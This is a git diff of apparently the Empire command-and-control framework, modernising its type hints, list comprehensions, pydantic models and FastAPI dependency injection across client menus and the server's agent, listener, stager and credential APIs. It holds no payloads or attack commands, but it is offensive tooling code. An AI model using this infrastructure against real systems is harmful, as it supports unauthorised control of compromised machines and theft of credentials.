- def edit_listener(self, listener_id: str, options: Dict):
+ def edit_listener(self, listener_id: str, options: dict):
response = requests.put(
url=f"{self.host}:{self.port}/api/v2/listeners/{listener_id}",
json=options,
@@ -379,7 +378,7 @@ def get_listener_options(self, listener_type: str):
)
return response.json()
- def create_listener(self, options: Dict):
+ def create_listener(self, options: dict):
response = requests.post(
url=f"{self.host}:{self.port}/api/v2/listeners",
json=options,
@@ -400,7 +399,7 @@ def get_stagers(self):
self.stagers = {x["id"]: x for x in response.json()["records"]}
return self.stagers
- def create_stager(self, options: Dict):
+ def create_stager(self, options: dict):
response = requests.post(
url=f"{self.host}:{self.port}/api/v2/stagers",
json=options,
@@ -432,12 +431,10 @@ def get_agents(self):
self.sio.on(f"agents/{session_id}/task", self.add_to_cached_results)
# Get active agents
- self.active_agents = list(
- map(
- lambda a: a["name"],
- filter(lambda a: a["stale"] is not True, state.agents.values()),
- )
- )
+ self.active_agents = [
+ a["name"]
+ for a in filter(lambda a: a["stale"] is not True, state.agents.values())
+ ]
return self.agents
def get_modules(self):
@@ -450,7 +447,7 @@ def get_modules(self):
self.modules = {x["id"]: x for x in response.json()["records"] if x["enabled"]}
return self.modules
- def execute_module(self, session_id: str, options: Dict):
+ def execute_module(self, session_id: str, options: dict):
response = requests.post(
url=f"{self.host}:{self.port}/api/v2/agents/{session_id}/tasks/module",
json=options,
@@ -459,7 +456,7 @@ def execute_module(self, session_id: str, options: Dict):
)
return response.json()
- def update_agent(self, session_id: str, options: Dict):
+ def update_agent(self, session_id: str, options: dict):
response = requests.put(
url=f"{self.host}:{self.port}/api/v2/agents/{session_id}",
json=options,
@@ -630,7 +627,7 @@ def get_credential(self, cred_id):
)
return response.json()
- def edit_credential(self, cred_id, cred_options: Dict):
+ def edit_credential(self, cred_id, cred_options: dict):
response = requests.put(
url=f"{self.host}:{self.port}/api/v2/credentials/{cred_id}",
verify=False,
@@ -677,7 +674,7 @@ def get_plugin(self, plugin_name):
)
return response.json()
- def execute_plugin(self, uid: str, options: Dict):
+ def execute_plugin(self, uid: str, options: dict):
response = requests.post(
url=f"{self.host}:{self.port}/api/v2/plugins/{uid}/execute",
json=options,
diff --git a/empire/client/src/MenuState.py b/empire/client/src/MenuState.py
index 2a05f3542..9043f41b7 100644
--- a/empire/client/src/MenuState.py
+++ b/empire/client/src/MenuState.py
@@ -1,5 +1,3 @@
-from typing import Optional
-
from empire.client.src.menus.Menu import Menu
@@ -9,7 +7,7 @@ class MenuState:
"""
def __init__(self):
- self.current_menu: Optional[Menu] = None
+ self.current_menu: Menu | None = None
self.menu_history = []
@property
diff --git a/empire/client/src/Shortcut.py b/empire/client/src/Shortcut.py
index 86035fc56..8ae9d44be 100644
--- a/empire/client/src/Shortcut.py
+++ b/empire/client/src/Shortcut.py
@@ -1,5 +1,4 @@
import logging
-from typing import List, Optional
from empire.client.src.utils import print_util
@@ -8,7 +7,7 @@
# https://yzhong-cs.medium.com/serialize-and-deserialize-complex-json-in-python-205ecc636caa
class ShortcutParam:
- def __init__(self, name: str, dynamic: bool = False, value: Optional[str] = ""):
+ def __init__(self, name: str, dynamic: bool = False, value: str | None = ""):
self.name = name
self.dynamic = dynamic
self.value = value
@@ -22,9 +21,9 @@ class Shortcut:
def __init__(
self,
name: str,
- module: Optional[str] = None,
- shell: Optional[str] = None,
- params: List[ShortcutParam] = None,
+ module: str | None = None,
+ shell: str | None = None,
+ params: list[ShortcutParam] = None,
):
if not module and not shell:
log.error("Shortcut must have either a module or shell command")
@@ -35,19 +34,19 @@ def __init__(
self.module = module
self.params = [] if not params else params
- def get_dynamic_params(self) -> List[ShortcutParam]:
+ def get_dynamic_params(self) -> list[ShortcutParam]:
return list(filter(lambda x: x.dynamic, self.params))
- def get_dynamic_param_names(self) -> List[str]:
- return list(map(lambda x: x.name, self.get_dynamic_params()))
+ def get_dynamic_param_names(self) -> list[str]:
+ return [x.name for x in self.get_dynamic_params()]
- def get_static_params(self) -> List[ShortcutParam]:
+ def get_static_params(self) -> list[ShortcutParam]:
return list(filter(lambda x: not x.dynamic, self.params))
- def get_static_param_names(self) -> List[str]:
- return list(map(lambda x: x.name, self.get_static_params()))
+ def get_static_param_names(self) -> list[str]:
+ return [x.name for x in self.get_static_params()]
- def get_param(self, name: str) -> Optional[ShortcutParam]:
+ def get_param(self, name: str) -> ShortcutParam | None:
param = None
for p in self.params:
if p.name == name:
@@ -71,9 +70,7 @@ def get_help_description(self) -> str:
)
module = self.module
- default_params = list(
- map(lambda x: f"{x.name}: {x.value}", self.get_static_params())
- )
+ default_params = [f"{x.name}: {x.value}" for x in self.get_static_params()]
description = f"Tasks the agent to run module {module}."
if len(default_params) > 0:
description += " Default parameters include:\n"
diff --git a/empire/client/src/ShortcutHandler.py b/empire/client/src/ShortcutHandler.py
index 56f81e767..32a044df7 100644
--- a/empire/client/src/ShortcutHandler.py
+++ b/empire/client/src/ShortcutHandler.py
@@ -1,6 +1,5 @@
import json
import logging
-from typing import Dict, List
from empire.client.src.EmpireCliConfig import empire_config
from empire.client.src.Shortcut import Shortcut
@@ -15,10 +14,10 @@ class ShortcutHandler:
def __init__(self):
shortcuts_raw = empire_config.yaml.get("shortcuts", {})
- python: Dict[str, Shortcut] = {}
- ironpython: Dict[str, Shortcut] = {}
- powershell: Dict[str, Shortcut] = {}
- csharp: Dict[str, Shortcut] = {}
+ python: dict[str, Shortcut] = {}
+ ironpython: dict[str, Shortcut] = {}
+ powershell: dict[str, Shortcut] = {}
+ csharp: dict[str, Shortcut] = {}
for key, value in shortcuts_raw["python"].items():
try:
value["name"] = key
@@ -43,7 +42,7 @@ def __init__(self):
csharp[key] = Shortcut.from_json(json.loads(json.dumps(value)))
except TypeError:
log.error(f"Could not parse shortcut: {key}")
- self.shortcuts: Dict[str, Dict[str, Shortcut]] = {
+ self.shortcuts: dict[str, dict[str, Shortcut]] = {
"python": python,
"powershell": powershell,
"ironpython": ironpython,
@@ -53,7 +52,7 @@ def __init__(self):
def get(self, language: str, name: str) -> Shortcut:
return self.shortcuts.get(language, {}).get(name)
- def get_names(self, language: str) -> List[str]:
+ def get_names(self, language: str) -> list[str]:
return list(self.shortcuts.get(language, {}).keys())
diff --git a/empire/client/src/menus/InteractMenu.py b/empire/client/src/menus/InteractMenu.py
index 3a161ffe4..165608e8f 100644
--- a/empire/client/src/menus/InteractMenu.py
+++ b/empire/client/src/menus/InteractMenu.py
@@ -3,7 +3,6 @@
import subprocess
import textwrap
import time
-from typing import List
from prompt_toolkit import HTML
from prompt_toolkit.completion import Completion
@@ -43,12 +42,10 @@ def get_completions(self, document, complete_event, cmd_line, word_before_cursor
if cmd_line[0] in ["interact"] and position_util(
cmd_line, 2, word_before_cursor
):
- active_agents = list(
- map(
- lambda a: a["name"],
- filter(lambda a: a["stale"] is not True, state.agents.values()),
- )
- )
+ active_agents = [
+ a["name"]
+ for a in filter(lambda a: a["stale"] is not True, state.agents.values())
+ ]
for agent in filtered_search_list(word_before_cursor, active_agents):
yield Completion(agent, start_position=-len(word_before_cursor))
elif cmd_line[0] in ["display"] and position_util(
@@ -468,7 +465,7 @@ def view(self, task_id: str):
for line in task["output"].split("\n"):
print(print_util.color(line))
- def execute_shortcut(self, command_name: str, params: List[str]):
+ def execute_shortcut(self, command_name: str, params: list[str]):
shortcut: Shortcut = shortcut_handler.get(self.agent_language, command_name)
if not shortcut:
diff --git a/empire/client/src/menus/ListenerMenu.py b/empire/client/src/menus/ListenerMenu.py
index e2220a86f..fa1c80eaf 100644
--- a/empire/client/src/menus/ListenerMenu.py
+++ b/empire/client/src/menus/ListenerMenu.py
@@ -53,18 +53,16 @@ def list(self) -> None:
Usage: list
"""
- listener_list = list(
- map(
- lambda x: [
- x["id"],
- x["name"],
- x["template"],
- date_util.humanize_datetime(x["created_at"]),
- x["enabled"],
- ],
- state.listeners.values(),
- )
- )
+ listener_list = [
+ [
+ x["id"],
+ x["name"],
+ x["template"],
+ date_util.humanize_datetime(x["created_at"]),
+ x["enabled"],
+ ]
+ for x in state.listeners.values()
+ ]
listener_list.insert(0, ["ID", "Name", "Template", "Created At", "Enabled"])
table_util.print_table(listener_list, "Listeners List")
diff --git a/empire/client/src/menus/PluginMenu.py b/empire/client/src/menus/PluginMenu.py
index 3af5d3d34..c4a11a400 100644
--- a/empire/client/src/menus/PluginMenu.py
+++ b/empire/client/src/menus/PluginMenu.py
@@ -28,12 +28,9 @@ def list(self) -> None:
Usage: list
"""
- plugins_list = list(
- map(
- lambda x: [x["name"], x["description"]],
- state.get_active_plugins().values(),
- )
- )
+ plugins_list = [
+ [x["name"], x["description"]] for x in state.get_active_plugins().values()
+ ]
plugins_list.insert(0, ["Name", "Description"])
table_util.print_table(plugins_list, "Plugins")
diff --git a/empire/client/src/menus/ProxyMenu.py b/empire/client/src/menus/ProxyMenu.py
index e47e82475..1059a9624 100644
--- a/empire/client/src/menus/ProxyMenu.py
+++ b/empire/client/src/menus/ProxyMenu.py
@@ -1,5 +1,4 @@
import logging
-from typing import List
from prompt_toolkit.completion import Completion
@@ -147,22 +146,20 @@ def list(self) -> None:
Usage: list
"""
- proxies = list(
- map(
- lambda x: [
- self.proxy_list.index(x) + 1,
- x["addr"],
- x["port"],
- x["proxytype"],
- ],
- self.proxy_list,
- )
- )
+ proxies = [
+ [
+ self.proxy_list.index(x) + 1,
+ x["addr"],
+ x["port"],
+ x["proxytype"],
+ ]
+ for x in self.proxy_list
+ ]
proxies.insert(0, ["Hop", "Address", "Port", "Proxy Type"])
table_util.print_table(proxies, "Active Proxies")
- def suggested_values_for_option(self, option: str) -> List[str]:
+ def suggested_values_for_option(self, option: str):
try:
lower = {k.lower(): v for k, v in self.record_options.items()}
return lower.get(option, {}).get("suggested_values", [])
diff --git a/empire/client/src/menus/UseMenu.py b/empire/client/src/menus/UseMenu.py
index 47bfe0b03..3a595bbcf 100644
--- a/empire/client/src/menus/UseMenu.py
+++ b/empire/client/src/menus/UseMenu.py
@@ -1,5 +1,4 @@
import logging
-from typing import List
from prompt_toolkit import HTML
from prompt_toolkit.completion import Completion
@@ -49,7 +48,7 @@ def get_completions(self, document, complete_event, cmd_line, word_before_cursor
cmd_line[0] == "set"
and len(cmd_line) > 1
and cmd_line[1] == "bypasses"
- and "bypasses" in map(lambda x: x.lower(), self.record_options.keys())
+ and "bypasses" in (x.lower() for x in self.record_options.keys())
and position_util(
cmd_line, where_am_i(cmd_line, word_before_cursor), word_before_cursor
)
@@ -241,7 +240,7 @@ def info(self):
record_list, "Record Info", colored_header=False, borders=False
)
- def suggested_values_for_option(self, option: str) -> List[str]:
+ def suggested_values_for_option(self, option: str) -> list[str]:
try:
lower = {k.lower(): v for k, v in self.record_options.items()}
return lower.get(option, {}).get("suggested_values", [])
diff --git a/empire/client/src/menus/UsePluginMenu.py b/empire/client/src/menus/UsePluginMenu.py
index 628fecfca..8af245cae 100644
--- a/empire/client/src/menus/UsePluginMenu.py
+++ b/empire/client/src/menus/UsePluginMenu.py
@@ -1,5 +1,4 @@
import logging
-from typing import Dict
from prompt_toolkit.completion import Completion
@@ -81,7 +80,7 @@ def execute(self):
post_body["options"][key] = self.record_options[key]["value"]
response = state.execute_plugin(self.record["id"], post_body)
- if isinstance(response, Dict) and "detail" in response:
+ if isinstance(response, dict) and "detail" in response:
print(print_util.color(response["detail"]))
@command
diff --git a/empire/client/src/menus/UseStagerMenu.py b/empire/client/src/menus/UseStagerMenu.py
index 11fb56af6..8fc846d57 100644
--- a/empire/client/src/menus/UseStagerMenu.py
+++ b/empire/client/src/menus/UseStagerMenu.py
@@ -64,12 +64,9 @@ def use(self, module: str) -> None:
listener_list = []
for key, value in self.record_options.items():
- values = list(
- map(
- lambda x: "\n".join(textwrap.wrap(str(x), width=35)),
- value.values(),
- )
- )
+ values = [
+ "\n".join(textwrap.wrap(str(x), width=35)) for x in value.values()
+ ]
values.reverse()
temp = [key] + values
listener_list.append(temp)
diff --git a/empire/client/src/utils/autocomplete_util.py b/empire/client/src/utils/autocomplete_util.py
index f20d71fbe..89a11e6ac 100644
--- a/empire/client/src/utils/autocomplete_util.py
+++ b/empire/client/src/utils/autocomplete_util.py
@@ -1,8 +1,7 @@
import os
-from typing import List
-def filtered_search_list(search: str, keys) -> List[str]:
+def filtered_search_list(search: str, keys) -> list[str]:
"""
Filters the search list by a search string
:param search: the string prefix
@@ -29,7 +28,7 @@ def where_am_i(cmd_line, word_before_cursor):
def position_util(
- cmd_line: List[str], word_position: int, word_before_cursor: str
+ cmd_line: list[str], word_position: int, word_before_cursor: str
) -> bool:
"""
Util method for autocompletion conditions. Makes autocomplete work well.
diff --git a/empire/client/src/utils/table_util.py b/empire/client/src/utils/table_util.py
index cba18869a..59f76936b 100644
--- a/empire/client/src/utils/table_util.py
+++ b/empire/client/src/utils/table_util.py
@@ -1,5 +1,4 @@
import logging
-from typing import List
from terminaltables import SingleTable
@@ -10,7 +9,7 @@
def print_table(
- data: List[List[str]] = None,
+ data: list[list[str]] = None,
title: str = "",
colored_header: bool = True,
borders: bool = None,
@@ -46,8 +45,8 @@ def print_table(
def print_agent_table(
- data: List[List[str]] = None,
- formatting: List[List[str]] = None,
+ data: list[list[str]] = None,
+ formatting: list[list[str]] = None,
title: str = "",
borders: bool = None,
):
diff --git a/empire/scripts/sync_starkiller.py b/empire/scripts/sync_starkiller.py
index faa9f4e07..7275aed7b 100644
--- a/empire/scripts/sync_starkiller.py
+++ b/empire/scripts/sync_starkiller.py
@@ -1,7 +1,6 @@
import logging
import subprocess
from pathlib import Path
-from typing import Dict
log = logging.getLogger(__name__)
@@ -26,7 +25,7 @@ def sync_starkiller(empire_config):
)
-def _clone_starkiller(starkiller_config: Dict, starkiller_dir: str):
+def _clone_starkiller(starkiller_config: dict, starkiller_dir: str):
subprocess.run(
["git", "clone", starkiller_config["repo"], starkiller_dir],
check=True,
diff --git a/empire/server/api/api_router.py b/empire/server/api/api_router.py
index 3d137452b..a15660376 100644
--- a/empire/server/api/api_router.py
+++ b/empire/server/api/api_router.py
@@ -1,4 +1,5 @@
-from typing import Any, Callable
+from collections.abc import Callable
+from typing import Any
from fastapi import APIRouter as FastAPIRouter
from fastapi.types import DecoratedCallable
diff --git a/empire/server/api/app.py b/empire/server/api/app.py
index ad0cc221d..e7e04d64a 100644
--- a/empire/server/api/app.py
+++ b/empire/server/api/app.py
@@ -66,7 +66,9 @@ def load_starkiller(v2App, ip, port):
log.info(f"Starkiller served at http://localhost:{port}/index.html")
-def initialize(secure: bool = False, ip: str = "0.0.0.0", port: int = 1337):
+def initialize(
+ secure: bool = False, ip: str = "0.0.0.0", port: int = 1337, run: bool = True
+):
# Not pretty but allows us to use main_menu by delaying the import
from empire.server.api.v2.agent import agent_api, agent_file_api, agent_task_api
from empire.server.api.v2.bypass import bypass_api
@@ -147,27 +149,34 @@ def shutdown_event():
setup_socket_events(sio, main)
- load_starkiller(v2App, ip, port)
+ if empire_config.starkiller.enabled:
+ log.info("Starkiller enabled. Loading.")
+ load_starkiller(v2App, ip, port)
+ else:
+ log.info("Starkiller disabled. Not loading.")
cert_path = os.path.abspath("./empire/server/data/")
- if not secure:
- uvicorn.run(
- v2App,
- host=ip,
- port=port,
- log_config=None,
- lifespan="on",
- # log_level="info",
- )
- else:
- uvicorn.run(
- v2App,
- host=ip,
- port=port,
- log_config=None,
- lifespan="on",
- ssl_keyfile=f"{cert_path}/empire-priv.key",
- ssl_certfile=f"{cert_path}/empire-chain.pem",
- # log_level="info",
- )
+ if run:
+ if not secure:
+ uvicorn.run(
+ v2App,
+ host=ip,
+ port=port,
+ log_config=None,
+ lifespan="on",
+ # log_level="info",
+ )
+ else:
+ uvicorn.run(
+ v2App,
+ host=ip,
+ port=port,
+ log_config=None,
+ lifespan="on",
+ ssl_keyfile=f"{cert_path}/empire-priv.key",
+ ssl_certfile=f"{cert_path}/empire-chain.pem",
+ # log_level="info",
+ )
+
+ return v2App
diff --git a/empire/server/api/jwt_auth.py b/empire/server/api/jwt_auth.py
index bc0ba210a..de20a6c32 100644
--- a/empire/server/api/jwt_auth.py
+++ b/empire/server/api/jwt_auth.py
@@ -1,5 +1,5 @@
from datetime import datetime, timedelta
-from typing import Optional
+from typing import Annotated
from fastapi import Depends, HTTPException
from fastapi.security import OAuth2PasswordBearer
@@ -9,7 +9,7 @@
from sqlalchemy.orm import Session
from starlette import status
-from empire.server.api.v2.shared_dependencies import get_db
+from empire.server.api.v2.shared_dependencies import CurrentSession
from empire.server.core.db import models
from empire.server.core.db.base import SessionLocal
@@ -27,7 +27,7 @@ class Token(BaseModel):
class TokenData(BaseModel):
- username: Optional[str] = None
+ username: str | None = None
pwd_context = CryptContext(schemes=["bcrypt"], deprecated="auto")
@@ -58,7 +58,7 @@ def authenticate_user(db: Session, username: str, password: str):
return user
-def create_access_token(data: dict, expires_delta: Optional[timedelta] = None):
+def create_access_token(data: dict, expires_delta: timedelta | None = None):
to_encode = data.copy()
if expires_delta:
expire = datetime.utcnow() + expires_delta
@@ -70,7 +70,8 @@ def create_access_token(data: dict, expires_delta: Optional[timedelta] = None):
async def get_current_user(
- token: str = Depends(oauth2_scheme), db: Session = Depends(get_db)
+ db: CurrentSession,
+ token: str = Depends(oauth2_scheme),
):
credentials_exception = HTTPException(
status_code=status.HTTP_401_UNAUTHORIZED,
@@ -91,19 +92,28 @@ async def get_current_user(
return user
+CurrentUser = Annotated[models.User, Depends(get_current_user)]
+
+
async def get_current_active_user(
- current_user: models.User = Depends(get_current_user),
+ current_user: CurrentUser,
):
if not current_user.enabled:
raise HTTPException(status_code=400, detail="Inactive user")
return current_user
+CurrentActiveUser = Annotated[models.User, Depends(get_current_active_user)]
+
+
async def get_current_active_admin_user(
- current_user: models.User = Depends(get_current_user),
+ current_user: CurrentUser,
):
if not current_user.enabled:
raise HTTPException(status_code=400, detail="Inactive user")
if not current_user.admin:
raise HTTPException(status_code=403, detail="Not an admin user")
return current_user
+
+
+CurrentActiveAdminUser = Annotated[models.User, Depends(get_current_active_admin_user)]
diff --git a/empire/server/api/v2/agent/agent_api.py b/empire/server/api/v2/agent/agent_api.py
index ec81a41df..01fb94093 100644
--- a/empire/server/api/v2/agent/agent_api.py
+++ b/empire/server/api/v2/agent/agent_api.py
@@ -1,9 +1,7 @@
import math
from datetime import datetime
-from typing import List, Optional
from fastapi import Depends, HTTPException, Query
-from sqlalchemy.orm import Session
from empire.server.api.api_router import APIRouter
from empire.server.api.jwt_auth import get_current_active_user
@@ -18,7 +16,7 @@
domain_to_dto_agent_checkin,
domain_to_dto_agent_checkin_agg,
)
-from empire.server.api.v2.shared_dependencies import get_db
+from empire.server.api.v2.shared_dependencies import CurrentSession
from empire.server.api.v2.shared_dto import (
BadRequestResponse,
NotFoundResponse,
@@ -42,7 +40,7 @@
)
-async def get_agent(uid: str, db: Session = Depends(get_db)):
+async def get_agent(uid: str, db: CurrentSession):
agent = agent_service.get_by_id(db, uid)
if agent:
@@ -56,18 +54,18 @@ async def get_agent(uid: str, db: Session = Depends(get_db)):
@router.get("/checkins", response_model=AgentCheckIns)
def read_agent_checkins_all(
- db: Session = Depends(get_db),
- agents: List[str] = Query(None),
+ db: CurrentSession,
+ agents: list[str] = Query(None),
limit: int = 1000,
page: int = 1,
- start_date: Optional[datetime] = None,
- end_date: Optional[datetime] = None,
+ start_date: datetime | None = None,
+ end_date: datetime | None = None,
order_direction: OrderDirection = OrderDirection.desc,
):
checkins, total = agent_service.get_agent_checkins(
db, agents, limit, (page - 1) * limit, start_date, end_date, order_direction
)
- checkins = list(map(lambda x: domain_to_dto_agent_checkin(x), checkins))
+ checkins = [domain_to_dto_agent_checkin(x) for x in checkins]
return AgentCheckIns(
records=checkins,
@@ -80,11 +78,11 @@ def read_agent_checkins_all(
@router.get("/checkins/aggregate", response_model=AgentCheckInsAggregate)
def read_agent_checkins_aggregate(
- db: Session = Depends(get_db),
- agents: List[str] = Query(None),
- start_date: Optional[datetime] = None,
- end_date: Optional[datetime] = None,
- bucket_size: Optional[AggregateBucket] = AggregateBucket.day,
+ db: CurrentSession,
+ agents: list[str] = Query(None),
+ start_date: datetime | None = None,
+ end_date: datetime | None = None,
+ bucket_size: AggregateBucket | None = AggregateBucket.day,
):
if empire_config.database.use == "sqlite":
raise HTTPException(
@@ -95,7 +93,7 @@ def read_agent_checkins_aggregate(
checkins = agent_service.get_agent_checkins_aggregate(
db, agents, start_date, end_date, bucket_size
)
- checkins = list(map(lambda x: domain_to_dto_agent_checkin_agg(x), checkins))
+ checkins = [domain_to_dto_agent_checkin_agg(x) for x in checkins]
return AgentCheckInsAggregate(
records=checkins,
@@ -112,16 +110,14 @@ async def read_agent(uid: str, db_agent: models.Agent = Depends(get_agent)):
@router.get("/", response_model=Agents)
async def read_agents(
- db: Session = Depends(get_db),
+ db: CurrentSession,
include_archived: bool = False,
include_stale: bool = True,
):
- agents = list(
- map(
- lambda x: domain_to_dto_agent(x),
- agent_service.get_all(db, include_archived, include_stale),
- )
- )
+ agents = [
+ domain_to_dto_agent(x)
+ for x in agent_service.get_all(db, include_archived, include_stale)
+ ]
return {"records": agents}
@@ -130,7 +126,7 @@ async def read_agents(
async def update_agent(
uid: str,
agent_req: AgentUpdateRequest,
- db: Session = Depends(get_db),
+ db: CurrentSession,
db_agent: models.Agent = Depends(get_agent),
):
resp, err = agent_service.update_agent(db, db_agent, agent_req)
@@ -143,12 +139,12 @@ async def update_agent(
@router.get("/{uid}/checkins", response_model=AgentCheckIns)
def read_agent_checkins(
- db: Session = Depends(get_db),
+ db: CurrentSession,
db_agent: models.Agent = Depends(get_agent),
limit: int = -1,
page: int = 1,
- start_date: Optional[datetime] = None,
- end_date: Optional[datetime] = None,
+ start_date: datetime | None = None,
+ end_date: datetime | None = None,
order_direction: OrderDirection = OrderDirection.desc,
):
checkins, total = agent_service.get_agent_checkins(
@@ -160,7 +156,7 @@ def read_agent_checkins(
end_date,
order_direction,
)
- checkins = list(map(lambda x: domain_to_dto_agent_checkin(x), checkins))
+ checkins = [domain_to_dto_agent_checkin(x) for x in checkins]
return AgentCheckIns(
records=checkins,
diff --git a/empire/server/api/v2/agent/agent_dto.py b/empire/server/api/v2/agent/agent_dto.py
index 667cb14ee..6e403038f 100644
--- a/empire/server/api/v2/agent/agent_dto.py
+++ b/empire/server/api/v2/agent/agent_dto.py
@@ -1,6 +1,5 @@
from datetime import datetime
from enum import Enum
-from typing import Dict, List, Optional
from pydantic import BaseModel
@@ -49,7 +48,7 @@ def domain_to_dto_agent(agent: models.Agent):
archived=agent.archived,
# Could make this a typed class later to match the schema
proxies=to_proxy_dto(agent.proxies),
- tags=list(map(lambda x: domain_to_dto_tag(x), agent.tags)),
+ tags=[domain_to_dto_tag(x) for x in agent.tags],
)
@@ -84,40 +83,40 @@ class Agent(BaseModel):
name: str
# listener_id: int
listener: str
- host_id: Optional[int]
- hostname: Optional[str]
- language: Optional[str]
- language_version: Optional[str]
+ host_id: int | None = None
+ hostname: str | None = None
+ language: str | None = None
+ language_version: str | None = None
delay: int
jitter: float
- external_ip: Optional[str]
- internal_ip: Optional[str]
- username: Optional[str]
- high_integrity: Optional[bool]
- process_id: Optional[int]
- process_name: Optional[str]
- os_details: Optional[str]
+ external_ip: str | None = None
+ internal_ip: str | None = None
+ username: str | None = None
+ high_integrity: bool | None = None
+ process_id: int | None = None
+ process_name: str | None = None
+ os_details: str | None = None
nonce: str
checkin_time: datetime
lastseen_time: datetime
- parent: Optional[str]
- children: Optional[str]
- servers: Optional[str]
- profile: Optional[str]
- functions: Optional[str]
- kill_date: Optional[str]
- working_hours: Optional[str]
+ parent: str | None = None
+ children: str | None = None
+ servers: str | None = None
+ profile: str | None = None
+ functions: str | None = None
+ kill_date: str | None = None
+ working_hours: str | None = None
lost_limit: int
- notes: Optional[str]
- architecture: Optional[str]
+ notes: str | None = None
+ architecture: str | None = None
archived: bool
stale: bool
- proxies: Optional[Dict]
- tags: List[Tag]
+ proxies: dict | None = None
+ tags: list[Tag]
class Agents(BaseModel):
- records: List[Agent]
+ records: list[Agent]
class AgentCheckIn(BaseModel):
@@ -126,7 +125,7 @@ class AgentCheckIn(BaseModel):
class AgentCheckIns(BaseModel):
- records: List[AgentCheckIn]
+ records: list[AgentCheckIn]
limit: int
page: int
total_pages: int
@@ -139,9 +138,9 @@ class AgentCheckInAggregate(BaseModel):
class AgentCheckInsAggregate(BaseModel):
- records: List[AgentCheckInAggregate]
- start_date: Optional[datetime]
- end_date: Optional[datetime]
+ records: list[AgentCheckInAggregate]
+ start_date: datetime | None = None
+ end_date: datetime | None = None
bucket_size: str
@@ -154,4 +153,4 @@ class AggregateBucket(str, Enum):
class AgentUpdateRequest(BaseModel):
name: str
- notes: Optional[str]
+ notes: str | None = None
diff --git a/empire/server/api/v2/agent/agent_file_api.py b/empire/server/api/v2/agent/agent_file_api.py
index 29928f7b5..ee4d4f194 100644
--- a/empire/server/api/v2/agent/agent_file_api.py
+++ b/empire/server/api/v2/agent/agent_file_api.py
@@ -1,12 +1,9 @@
-from typing import List, Optional, Tuple
-
from fastapi import Depends, HTTPException
-from sqlalchemy.orm import Session
from empire.server.api.api_router import APIRouter
from empire.server.api.jwt_auth import get_current_active_user
from empire.server.api.v2.agent.agent_file_dto import AgentFile, domain_to_dto_file
-from empire.server.api.v2.shared_dependencies import get_db
+from empire.server.api.v2.shared_dependencies import CurrentSession
from empire.server.api.v2.shared_dto import BadRequestResponse, NotFoundResponse
from empire.server.core.agent_file_service import AgentFileService
from empire.server.core.agent_service import AgentService
@@ -27,7 +24,7 @@
)
-async def get_agent(agent_id: str, db: Session = Depends(get_db)):
+async def get_agent(agent_id: str, db: CurrentSession):
agent = agent_service.get_by_id(db, agent_id)
if agent:
@@ -37,7 +34,7 @@ async def get_agent(agent_id: str, db: Session = Depends(get_db)):
async def get_file(
- uid: int, db: Session = Depends(get_db), db_agent: models.Agent = Depends(get_agent)
+ uid: int, db: CurrentSession, db_agent: models.Agent = Depends(get_agent)
):
file = agent_file_service.get_file(db, db_agent.session_id, uid)
@@ -49,9 +46,9 @@ async def get_file(
)
-@router.get("/root", dependencies=[Depends(get_current_active_user)])
+@router.get("/root")
async def read_file_root(
- db: Session = Depends(get_db), db_agent: models.Agent = Depends(get_agent)
+ db: CurrentSession, db_agent: models.Agent = Depends(get_agent)
):
file = agent_file_service.get_file_by_path(db, db_agent.session_id, "/")
@@ -63,15 +60,11 @@ async def read_file_root(
)
-@router.get(
- "/{uid}", response_model=AgentFile, dependencies=[Depends(get_current_active_user)]
-)
+@router.get("/{uid}", response_model=AgentFile)
async def read_file(
uid: int,
db_agent: models.Agent = Depends(get_agent),
- db_file: Optional[Tuple[models.AgentFile, List[models.AgentFile]]] = Depends(
- get_file
- ),
+ db_file: tuple[models.AgentFile, list[models.AgentFile]] | None = Depends(get_file),
):
if db_file:
return domain_to_dto_file(*db_file)
diff --git a/empire/server/api/v2/agent/agent_file_dto.py b/empire/server/api/v2/agent/agent_file_dto.py
index ed65dd822..cf9528de3 100644
--- a/empire/server/api/v2/agent/agent_file_dto.py
+++ b/empire/server/api/v2/agent/agent_file_dto.py
@@ -2,9 +2,7 @@
# https://pydantic-docs.helpmanual.io/usage/postponed_annotations/#self-referencing-models
from __future__ import annotations
-from typing import List, Optional
-
-from pydantic import BaseModel
+from pydantic import BaseModel, ConfigDict
from empire.server.api.v2.shared_dto import (
DownloadDescription,
@@ -13,7 +11,7 @@
from empire.server.core.db import models
-def domain_to_dto_file(file: models.AgentFile, children: List[models.AgentFile]):
+def domain_to_dto_file(file: models.AgentFile, children: list[models.AgentFile]):
return AgentFile(
id=file.id,
session_id=file.session_id,
@@ -21,10 +19,8 @@ def domain_to_dto_file(file: models.AgentFile, children: List[models.AgentFile])
path=file.path,
is_file=file.is_file,
parent_id=file.parent_id,
- downloads=list(
- map(lambda x: domain_to_dto_download_description(x), file.downloads)
- ),
- children=list(map(lambda c: domain_to_dto_file(c, []), children)),
+ downloads=[domain_to_dto_download_description(x) for x in file.downloads],
+ children=[domain_to_dto_file(c, []) for c in children],
)
@@ -34,12 +30,10 @@ class AgentFile(BaseModel):
name: str
path: str
is_file: bool
- parent_id: Optional[int]
- downloads: List[DownloadDescription]
- children: List[AgentFile] = []
-
- class Config:
- orm_mode = True
+ parent_id: int | None = None
+ downloads: list[DownloadDescription]
+ children: list[AgentFile] = []
+ model_config = ConfigDict(from_attributes=True)
AgentFile.update_forward_refs()
diff --git a/empire/server/api/v2/agent/agent_task_api.py b/empire/server/api/v2/agent/agent_task_api.py
index 9dfa90693..43907e328 100644
--- a/empire/server/api/v2/agent/agent_task_api.py
+++ b/empire/server/api/v2/agent/agent_task_api.py
@@ -1,15 +1,16 @@
import base64
import math
from datetime import datetime
-from typing import List, Optional
from fastapi import Depends, File, HTTPException, Query, UploadFile
-from sqlalchemy.orm import Session
from starlette.responses import Response
from starlette.status import HTTP_204_NO_CONTENT
from empire.server.api.api_router import APIRouter
-from empire.server.api.jwt_auth import get_current_active_user, get_current_user
+from empire.server.api.jwt_auth import (
+ CurrentUser,
+ get_current_active_user,
+)
from empire.server.api.v2.agent.agent_task_dto import (
AgentTask,
AgentTaskOrderOptions,
@@ -31,7 +32,7 @@
WorkingHoursPostRequest,
domain_to_dto_task,
)
-from empire.server.api.v2.shared_dependencies import get_db
+from empire.server.api.v2.shared_dependencies import CurrentSession
from empire.server.api.v2.shared_dto import (
PROXY_NAME,
BadRequestResponse,
@@ -63,7 +64,7 @@
)
-async def get_agent(agent_id: str, db: Session = Depends(get_db)):
+async def get_agent(agent_id: str, db: CurrentSession):
agent = agent_service.get_by_id(db, agent_id)
if agent:
@@ -73,7 +74,7 @@ async def get_agent(agent_id: str, db: Session = Depends(get_db)):
